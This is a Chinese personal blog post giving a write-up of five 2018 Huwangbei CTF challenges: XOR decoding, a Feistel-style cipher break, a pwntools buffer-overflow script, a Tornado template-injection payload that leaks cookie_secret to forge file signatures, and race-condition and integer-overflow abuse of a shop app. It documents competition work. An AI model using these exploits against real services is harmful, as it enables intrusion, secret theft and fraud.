SuperY4Ng's Blog

护网杯WP

字数统计: 1.3k阅读时长: 5 min
2018/10/14 Share
1
PS:https://blog.csdn.net/Super_Yiang/article/details/83043874

护网杯大赛告终,很难,但是学到了很多,码上自己所学的和大佬的WP,并奉上大佬的博客地址

签到题

题目是“easy xor”,这个题应该和异或运算相关。

下载文件之后发现这个字符串很像base64加密之后的

Base64解码试一下:

考虑到可能还有异或操作,虽然有乱码暂时可以接受。然后就是写异或的脚本了,不太清楚和谁异或,写个循环..吧,放脚本:

1
2
3
4
5
6
7
8
9
10
11
import base64
import sys
a = "AAoHAR1XICciX1IlXiBUVFFUIyRRJFRQVyUnVVMnUFcgIiNXXhs="
b=base64.b64decode(a.encode('utf-8'))
c = b.decode('utf-8')

for i in range(200):
for a in c:
f=ord(a)^i
print(chr(f),end="")
print()

运行一下,就出flag了

Fez(密码题)

看题目…没有题目,下载附件发现里边有两个文件

fez.log

看过py文件之后很容易知道这是test fez(test,K) fez(m,K)的输出结果

从后往前看加密算法:

K是一个包含7组27位随机数的嵌套列表

M是flag加上几位随机数

Fez()函数调用了7次round()函数,round()函数是将输入的明文分成两部分,右半部分作为新序列的左半部分,新序列的右半部分通过异或产生。如此循环之后相当于明文的右半部分经过3次异或,而左半部分经过4次异或。

至此加密算法分析完成。

由于明文左右两部分均经过加密,因此考虑将K密钥组想象成一个密钥k

……….开始尝试……..

假设输入p,执行fez(p,K)

R1=p_l

L1=xor(xor(p_l,p_r),K1)

第一轮加密之后,可看成对R1L1进行3轮加密

开始解码了….

已知test和fez(test,K)

所以,

tk_l=xor(test_r,k1)

tk_r=xor(xor(test_l,test_r),k2)

得到,

k1=xor(tk_l,test_r)

k2=xor(xor(test_l,test_r),tk_r)

由mk=fez(m,K)

得到,

mk_l=xor(m_l,k1)

mk_r=xor(xor(m_l,m_r),k2)

因此,

m_l=xor(k1,mk_l)

m_r=xor(xor(m_l,mk_r),k2)

分析完成,写脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#Lout=R^k1^k2^k4^k5
#Rout=L^R^k0^k1^k2^k3^k5

test = 'c8b84d08e5a8e60a49578f387fff5a90e9e7c181734bf05be4f5403c9ea24a0b8741a329991637e11fa69019cd3b01d7c95b65f5abd5'
test_out = '5c3660c27cb9b3785a5ce06022e88bc831017e882d39475ea85d919ad9e5ac498f86c553216cab1f8f7468353d46ba8971efa9ca8c81'
flag_out = '519ab6fc0e435da00516b844f8fe664bfe9445992f478dc650701739a11ffda5bbeb643159d7e8cd03a2104c798a1ca734b905ee6c76'

L = test.decode('hex')[0:27]
R = test.decode('hex')[27:54]

L2 = test_out.decode('hex')[0:27]
R2 = test_out.decode('hex')[27:54]

def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c

k1 = xor(L2,R)
k2 = xor(xor(L,R), R2)

L3 = flag_out.decode('hex')[0:27]
R3 = flag_out.decode('hex')[27:54]

R4 = xor(L3,k1)
L4 = xor(xor(k2,R3), R4)
print 'flag:', L4+R4

Flag:

gettingstart (pwn)

先用IDA打开程序:

很明显可以通过溢出buf从而修改v7和v8的值满足判断和验证,所以构造脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#p=process("./task_gettingStart_ktQeERc")
p=remote("49.4.94.186",31936)
payload=""
payload+="A"*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
cmd="cat flag"

print p.recv()
print payload
p.send(payload)
print p.recv()
p.send(cmd)
p.interactive()
print p.recv()

就可以get到flag了。

easy tornado (WEB)

打开链接:

分别打开,列出URL和内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
http://117.78.26.79:31093/file?filename=Orz.txt&signature=d18abfad58ea53975f7cefbc16852b0c
Orz.txt
render()


http://117.78.26.79:31093/file?filename=hint.txt&signature=6724dcffafb1cbebd3034a845b3fcab3
hint.txt
md5(cookie_secret + md5(filename))


http://117.78.26.79:31093/file?filename=flag.txt&signature=a93589fc419617a5a0b91ab5443c5eaa
flag.txt
/fllllllllllag

发现就是

1
2
3
http://117.78.26.79:31093/file?filename=[文件名]&signature=[签名]

签名是md5(cookie_secret + md5(filename))

问题就是找到cookie_secret,再看看Orz.txt里有说render(),看过大佬WP说这是生成模板的函数,所以注入STTI。

输入读取文件

1
http://117.78.26.79:31093/file?filename=t.txt&signature=6724dcffafb1cbebd3034a845b3fcab3

发现读取文件失败,但是从失败的链接中发现STTI漏洞

1
http://117.78.26.79:31093/error?msg=xxxx

然后就是测试是否存在过滤,发现过滤的字符有:

1
"%'()*-/=[\]_|

这时候大佬的WP又起作用了

并附上Tornado官方文档

构造payload为:

1
http://117.78.26.79:31093/error?msg={{handler.settings}}

得到cookie_secret,利用这个cookie_secret,可以写脚本,来获得相应文件的签名值。

附上大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib

cookie_secret=r'vjEg>W_%Vr.Jd<H(n)@wz&20ut8{i9O$}MBDbCf!YFQ~xh3eA?4cK1X[oIZ*6+5U'

def md5(code):
temp = hashlib.md5(str(code)).hexdigest()
return temp
filename = '/fllllllllllag'
res = md5(cookie_secret + md5(filename))
print res

# 44f26315d2ed77e83fa715d9d6b48f96

跑完脚本,放进URL就出flag了

ltshop(WEB)

注册账号,进入系统,发现我们有¥20

看一下要求

思路很清晰

1
2
3
4
开局¥20
一包大辣条¥5
5包大辣条换一包辣条之王
9999999包辣条之王才能换flag

很明显按照正常思路是不可能买到辣条之王的,更别说要用那么多的辣条之王换flag,所以猜测会用到溢出,但是要溢出至少也需要一包辣条之王才行。

这时候万能的大佬WP成功上线,条件竞争,大佬经过试验发现一个账户同时登陆两个页面同时买辣条,只会扣一次钱,却会得到两根辣条。大佬用burpsuite进行条件竞争,设置多个线程:

然后发现成功的买到了15包大辣条

接下来考虑溢出(大佬的WP写着):

int: 2**32-1 = 4294967295

long: 2**63 -1 = 9223372036854775807

longlong: 2**64-1 = 18446744073709551615

但是要注意一点,这个题的逻辑是,numer*5<最大值

所以,其临界值应该为18446744073709551615 / 5 == 3689348814741910323

于是尝试3689348814741910323+1 == 3689348814741910324

溢出后的值比较小,在辣条的数量之内,从而兑换成功。

成功的购买到了很多辣条之王,可以兑换苦苦追寻的flag了。

CATALOG
  1. 1. 签到题
  2. 2. Fez(密码题)
  3. 3. gettingstart (pwn)
  4. 4. easy tornado (WEB)
  5. 5. ltshop(WEB)